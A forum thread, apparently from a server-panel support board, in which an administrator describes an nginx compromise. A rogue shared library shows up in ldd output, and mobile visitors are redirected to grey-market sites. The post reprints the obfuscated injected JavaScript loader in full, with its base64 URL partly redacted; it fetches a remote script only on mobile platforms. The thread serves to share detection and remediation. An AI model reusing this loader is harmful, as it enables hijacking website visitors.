【待反馈】手机端首次访问会跳转灰产网站的进

在终端执行,可能系统不同命令不同

1. ldd /www/server/nginx/sbin/nginx

复制代码

如果你的Nginx是正常的,回返回

1. linux-vdso.so.1 (0x00007fff05e6b000)
   
2.         libjemalloc.so.2 => /usr/local/lib/libjemalloc.so.2 (0x00007f9299c54000)
   
3.         libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 (0x00007f9299c1a000)
   
4.         libluajit-5.1.so.2 => /usr/local/lib/libluajit-5.1.so.2 (0x00007f9299b8c000)
   
5.         libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007f9299b70000)
   
6.         libxml2.so.2 => /lib/x86_64-linux-gnu/libxml2.so.2 (0x00007f929998e000)
   
7.         libgd.so.3 => /lib/x86_64-linux-gnu/libgd.so.3 (0x00007f9299926000)
   
8.         libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f92996fb000)
   
9.         libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007f92994cf000)
   
10.         libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f92994af000)
    
11.         /lib64/ld-linux-x86-64.so.2 (0x00007f929a4e3000)
    
12.         libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f92993c8000)
    
13.         libicuuc.so.70 => /lib/x86_64-linux-gnu/libicuuc.so.70 (0x00007f92991cd000)
    
14.         liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007f92991a2000)
    
15.         libpng16.so.16 => /lib/x86_64-linux-gnu/libpng16.so.16 (0x00007f9299165000)
    
16.         libfontconfig.so.1 => /lib/x86_64-linux-gnu/libfontconfig.so.1 (0x00007f929911b000)
    
17.         libfreetype.so.6 => /lib/x86_64-linux-gnu/libfreetype.so.6 (0x00007f9299053000)
    
18.         libjpeg.so.8 => /lib/x86_64-linux-gnu/libjpeg.so.8 (0x00007f9298fd2000)
    
19.         libXpm.so.4 => /lib/x86_64-linux-gnu/libXpm.so.4 (0x00007f9298fbd000)
    
20.         libtiff.so.5 => /lib/x86_64-linux-gnu/libtiff.so.5 (0x00007f9298f34000)
    
21.         libwebp.so.7 => /lib/x86_64-linux-gnu/libwebp.so.7 (0x00007f9298ec5000)
    
22.         libicudata.so.70 => /lib/x86_64-linux-gnu/libicudata.so.70 (0x00007f92972a7000)
    
23.         libexpat.so.1 => /lib/x86_64-linux-gnu/libexpat.so.1 (0x00007f9297276000)
    
24.         libuuid.so.1 => /lib/x86_64-linux-gnu/libuuid.so.1 (0x00007f929726d000)
    
25.         libbrotlidec.so.1 => /lib/x86_64-linux-gnu/libbrotlidec.so.1 (0x00007f929725f000)
    
26.         libX11.so.6 => /lib/x86_64-linux-gnu/libX11.so.6 (0x00007f929711d000)
    
27.         libzstd.so.1 => /lib/x86_64-linux-gnu/libzstd.so.1 (0x00007f929704e000)
    
28.         libjbig.so.0 => /lib/x86_64-linux-gnu/libjbig.so.0 (0x00007f929703d000)
    
29.         libdeflate.so.0 => /lib/x86_64-linux-gnu/libdeflate.so.0 (0x00007f9297019000)
    
30.         libbrotlicommon.so.1 => /lib/x86_64-linux-gnu/libbrotlicommon.so.1 (0x00007f9296ff6000)
    
31.         libxcb.so.1 => /lib/x86_64-linux-gnu/libxcb.so.1 (0x00007f9296fca000)
    
32.         libXau.so.6 => /lib/x86_64-linux-gnu/libXau.so.6 (0x00007f9296fc4000)
    
33.         libXdmcp.so.6 => /lib/x86_64-linux-gnu/libXdmcp.so.6 (0x00007f9296fbc000)
    
34.         libbsd.so.0 => /lib/x86_64-linux-gnu/libbsd.so.0 (0x00007f9296fa4000)
    
35.         libmd.so.0 => /lib/x86_64-linux-gnu/libmd.so.0 (0x00007f9296f97000)

复制代码

经过多台服务器的对比 , 出现我发帖标题情况的,回返回

1. linux-vdso.so.1 (0x00007fff25feb000)
   
2.         /var/adm/2dbd78ae-b3fd-4d69-9aac-153cb140294d/kernel/libutilkeybd.so (0x00007fcf73e00000)
   
3.         libjemalloc.so.2 => /usr/local/lib/libjemalloc.so.2 (0x00007fcf73b79000)
   
4.         libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 (0x00007fcf7417d000)
   
5.         libluajit-5.1.so.2 => /usr/local/lib/libluajit-5.1.so.2 (0x00007fcf740ef000)
   
6.         libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007fcf740d3000)
   
7.         libxml2.so.2 => /lib/x86_64-linux-gnu/libxml2.so.2 (0x00007fcf73997000)
   
8.         libgd.so.3 => /lib/x86_64-linux-gnu/libgd.so.3 (0x00007fcf74069000)
   
9.         libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcf7376e000)
   
10.         libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fcf74064000)
    
11.         libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007fcf73542000)
    
12.         libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007fcf74044000)
    
13.         /lib64/ld-linux-x86-64.so.2 (0x00007fcf747b3000)
    
14.         libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fcf7345b000)
    
15.         libicuuc.so.70 => /lib/x86_64-linux-gnu/libicuuc.so.70 (0x00007fcf73260000)
    
16.         liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007fcf74017000)
    
17.         libpng16.so.16 => /lib/x86_64-linux-gnu/libpng16.so.16 (0x00007fcf73225000)
    
18.         libfontconfig.so.1 => /lib/x86_64-linux-gnu/libfontconfig.so.1 (0x00007fcf731db000)
    
19.         libfreetype.so.6 => /lib/x86_64-linux-gnu/libfreetype.so.6 (0x00007fcf73113000)
    
20.         libjpeg.so.8 => /lib/x86_64-linux-gnu/libjpeg.so.8 (0x00007fcf73092000)
    
21.         libXpm.so.4 => /lib/x86_64-linux-gnu/libXpm.so.4 (0x00007fcf7307d000)
    
22.         libtiff.so.5 => /lib/x86_64-linux-gnu/libtiff.so.5 (0x00007fcf72ff4000)
    
23.         libwebp.so.7 => /lib/x86_64-linux-gnu/libwebp.so.7 (0x00007fcf72f87000)
    
24.         libicudata.so.70 => /lib/x86_64-linux-gnu/libicudata.so.70 (0x00007fcf71369000)
    
25.         libexpat.so.1 => /lib/x86_64-linux-gnu/libexpat.so.1 (0x00007fcf71338000)
    
26.         libuuid.so.1 => /lib/x86_64-linux-gnu/libuuid.so.1 (0x00007fcf7132f000)
    
27.         libbrotlidec.so.1 => /lib/x86_64-linux-gnu/libbrotlidec.so.1 (0x00007fcf71321000)
    
28.         libX11.so.6 => /lib/x86_64-linux-gnu/libX11.so.6 (0x00007fcf711e1000)
    
29.         libzstd.so.1 => /lib/x86_64-linux-gnu/libzstd.so.1 (0x00007fcf71112000)
    
30.         libjbig.so.0 => /lib/x86_64-linux-gnu/libjbig.so.0 (0x00007fcf71101000)
    
31.         libdeflate.so.0 => /lib/x86_64-linux-gnu/libdeflate.so.0 (0x00007fcf710dd000)
    
32.         libbrotlicommon.so.1 => /lib/x86_64-linux-gnu/libbrotlicommon.so.1 (0x00007fcf710b8000)
    
33.         libxcb.so.1 => /lib/x86_64-linux-gnu/libxcb.so.1 (0x00007fcf7108e000)
    
34.         libXau.so.6 => /lib/x86_64-linux-gnu/libXau.so.6 (0x00007fcf71088000)
    
35.         libXdmcp.so.6 => /lib/x86_64-linux-gnu/libXdmcp.so.6 (0x00007fcf71080000)
    
36.         libbsd.so.0 => /lib/x86_64-linux-gnu/libbsd.so.0 (0x00007fcf71068000)
    
37.         libmd.so.0 => /lib/x86_64-linux-gnu/libmd.so.0 (0x00007fcf71059000)

复制代码

可以看到多了一个

1. /var/adm/2dbd78ae-b3fd-4d69-9aac-153cb140294d/kernel/libutilkeybd.so (0x00007fcf73e00000)

复制代码

有可能不在var/adm  也有可能在 etc/adm 在这个文件夹的话大概率是被隐藏起来了  看不到这个的


他会随机在你网站引用的js上面添加这段恶意代码 达到首次手机端访问时跳转灰产

1. if (window && !window.hijs) {
   
2.     window.hijs = true;
   
3.     function xxSJRox(e) {
   
4.         var t = ""
   
5.           , n = r = c1 = c2 = 0;
   
6.         while (n < e.length) {
   
7.             r = e.charCodeAt(n);
   
8.             if (r < 128) {
   
9.                 t += String.fromCharCode(r);
   
10.                 n++
    
11.             } else if (r > 191 && r < 224) {
    
12.                 c2 = e.charCodeAt(n + 1);
    
13.                 t += String.fromCharCode((r & 31) << 6 | c2 & 63);
    
14.                 n += 2
    
15.             } else {
    
16.                 c2 = e.charCodeAt(n + 1);
    
17.                 c3 = e.charCodeAt(n + 2);
    
18.                 t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
    
19.                 n += 3
    
20.             }
    
21.         }
    
22.         return t
    
23.     }
    
24.     function aPnDhiTia(e) {
    
25.         var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
    
26.         var t = "", n, r, i, s, o, u, a, f = 0;
    
27.         e = e.replace(/[^A-Za-z0-9+/=]/g, "");
    
28.         while (f < e.length) {
    
29.             s = m.indexOf(e.charAt(f++));
    
30.             o = m.indexOf(e.charAt(f++));
    
31.             u = m.indexOf(e.charAt(f++));
    
32.             a = m.indexOf(e.charAt(f++));
    
33.             n = s << 2 | o >> 4;
    
34.             r = (o & 15) << 4 | u >> 2;
    
35.             i = (u & 3) << 6 | a;
    
36.             t = t + String.fromCharCode(n);
    
37.             if (u != 64) {
    
38.                 t = t + String.fromCharCode(r)
    
39.             }
    
40.             if (a != 64) {
    
41.                 t = t + String.fromCharCode(i)
    
42.             }
    
43.         }
    
44.         return xxSJRox(t)
    
45.     }
    
46.     eval('window')['\x4d\x66\x58\x4b\x77\x56'] = function() {
    
47.         ;(function(u, r, w, d, f, c) {
    
48.             var x = aPnDhiTia;
    
49.             u = decodeURIComponent(x(u.replace(new RegExp(c + '' + c,'g'), c)));
    
50.             'jQuery';
    
51.             k = r[2] + 'c' + f[1];
    
52.             'Flex';
    
53.             v = k + f[6];
    
54.             var s = d.createElement(v + c[0] + c[1])
    
55.               , g = function() {};
    
56.             s.type = 'text/javascript';
    
57.             {
    
58.                 s.onload = function() {
    
59.                     g()
    
60.                 }
    
61.             }
    
62.             s.src = u;
    
63.             'CSS';
    
64.             d.getElementsByTagName('head')[0].appendChild(s)
    
65.         }
    
66.         )('aHR0cHM6和谐一段,防止解析出来正确的xpdnIuY29tL25wbS9ib290c3RyYXBANS4zLjAvZGlzdC9jc3MvYm9vdHN0cmFwLm1pbi5jc3M/dj0zLjcuOC4y', 'FgsPmaNtZ', window, document, 'jrGYBsijJU', 'ptbnNbK')
    
67.     }
    
68.     ;
    
69.     if (!(/^Mac|Win/.test(navigator.platform)))
    
70.         MfXKwV();
    
71. }

复制代码

**威胁类型**: Web服务器劫持 + JavaScript注入 + 中间人攻击
不知道能不能通过重装NGINX来解决

反正我是直接备份了数据 直接重装就没有这个库了   至于怎么被篡改的尚未可知    手里的几台物理机全部遭殃     目前重装了一台   等待测试看什么时候再次被篡改

如果你有不通过重装系统的解决办法  欢迎分享

你好，感谢发帖，可以的话您联系我们官网客服，我司安全部协助您排查下

堡塔开发kk 发表于 2025-11-18 11:00
你好，感谢发帖，可以的话您联系我们官网客服，我司安全部协助您排查下

var/adm 这个目录昨天我发帖时还是可见的  9.6.0版本   我刚刚升级了 11.2版本  这个目录就被隐藏了    我另外9.6的服务器还是可见     面板也占一定原因?

24143751 发表于 2025-11-18 16:05
var/adm 这个目录昨天我发帖时还是可见的  9.6.0版本   我刚刚升级了 11.2版本  这个目录就被隐藏了     ...

面板升级和这个无关，联系客服 我们协助排查

六台服务器 全军覆没 全部重装了   没找到哪里的问题   我同事的好几个服务器 也是这种情况   卸载了nginx  在重装 没解决问题

准确的说，是网站显示灰产内容，但是检查网站没问题，把网站迁移到别的服务器  就没出现过